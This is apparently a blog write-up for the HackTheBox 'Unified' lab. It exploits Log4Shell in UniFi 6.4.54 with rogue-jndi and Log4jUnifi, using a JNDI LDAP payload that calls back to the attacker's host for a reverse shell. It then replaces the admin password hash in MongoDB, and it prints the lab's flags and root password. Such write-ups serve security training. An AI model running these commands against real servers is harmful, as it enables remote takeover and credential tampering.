HackTheBox-Unified

1.端口扫描

nmap -sC -sV -v {ip}

图片

图片

开放了22,6789,8080,8443端口

2.访问8080端口

http服务访问8080端口

http://{ip}:8080

图片

是一个UniFi的cms,版本号6.4.54,该版本存在log4j的漏洞

3.log4j漏洞验证

利用自带的开发者工具或者是bp

修改remember的值

图片

接下来监听389端口

tcpdump -i tun0 port 389

接着再发一次包
此时389端口就会收到数据

图片

至此,验证当前靶机确实存在log4j漏洞

4.漏洞利用

# 准备工作
apt-get install maven
git clone https://github.com/veracode-research/rogue-jndi
cd rogue-jndi
mvn package

执行下述命令在kali Linux安装JDK以及maven.

#apt update && apt install openjdk-11-jre maven

#git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jUnifi && cd Log4jUnifi && pip3 install -r requirements.txt

#mvn package -f utils/rogue-jndi/

下载并制作Docker Log4jUnifi的镜像:

#git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jUnifi && cd Log4jUnifi && docker build -t log4junifi .

此时在Kali Linux 上用openVPN连接上Hackthebox,启动Unified实例,然后在kali Linux用nc启动监听:

nc -nlvp 1234 -s 10.10.14.165

#docker run -it -v $(pwd)/loot:/Log4jUnifi/loot -p 8090:8090 -p 1389:1389 log4junifi -u https://10.129.254.73:8443 -i 

输出:
{“username”: “{jndi:ldap://10.10.14.165:1389/o=tomcat}”, “password”: “log4j”, “remember”: “{jndi:ldap://10.10.14.165:1389/o=tomcat}”, “strict”:true}

反弹shell成功

cd /home/michael
cat user.txt
# flag{6ced1a6a89e666c0620cdb10262ba127}

继续在各个目录搜寻,查找与数据库服务相关的配置文件,在文件中/usr/lib/unifi/data/system.properties找到mongodb的端口unifi.db.port=27117

接下来连接数据库

mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"`

可以看到用户名的信息
图片

密码以xshadow的形式进行保存

“x_shadow” : “6Ry6Vdbse$8enMR5Znxoo.WfCMd/Xk65GwuQEPx1M.QP8/qHiQV0PvUc3uHuonK4WcTQFN1CRk3GwQaquyVwCVq8iQgPTt4.”
利用工具hashid可以查看hash类型

hashid '6Ry6Vdbse$8enMR5Znxoo.WfCMd/Xk65GwuQEPx1M.QP8/qHiQV0PvUc3uHuonK4WcTQFN1CRk3GwQaquyVwCVq8iQgPTt4.'

图片

SHA-512

这时候进行碰撞的话基本是不可能的,所以有另外一种方法,修改密码,替换hash值

mkpasswd -m sha-512 Password1234

生成的密码hash值如下

6Pi7Y7O9PR4iJgUq9$guQg7AVpPbK7yhDga7qwTR8/l70gEPEqHqEGx9877hyvztiROjbeQO7HCgMCOkaT1BRMeo3nAJk9J74lfCZwL1

mongo --port 27117 ace --eval 'db.admin.update({"_id":ObjectId("61ce278f46e0fb0012d47ee4")},{set:{"x_shadow":"6Pi7Y7O9PR4iJgUq9guQg7AVpPbK7yhDga7qwTR8/l70gEPEqHqEGx9877hyvztiROjbeQO7HCgMCOkaT1BRMeo3nAJk9J74lfCZwL1"}})'

图片

返回的信息显示匹配并修改了一条记录

5.登录

直接用新密码登录,在网站的后台设置的site里发现了ssh连接的密码和用户名

图片

ssh root@10.129.64.152 
# 密码:NotACrackablePassword4U2022 
# 成功登录
cat root.txt
# flag{e50bc93c75b634e4b272d2f771c33681}

Related Posts

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注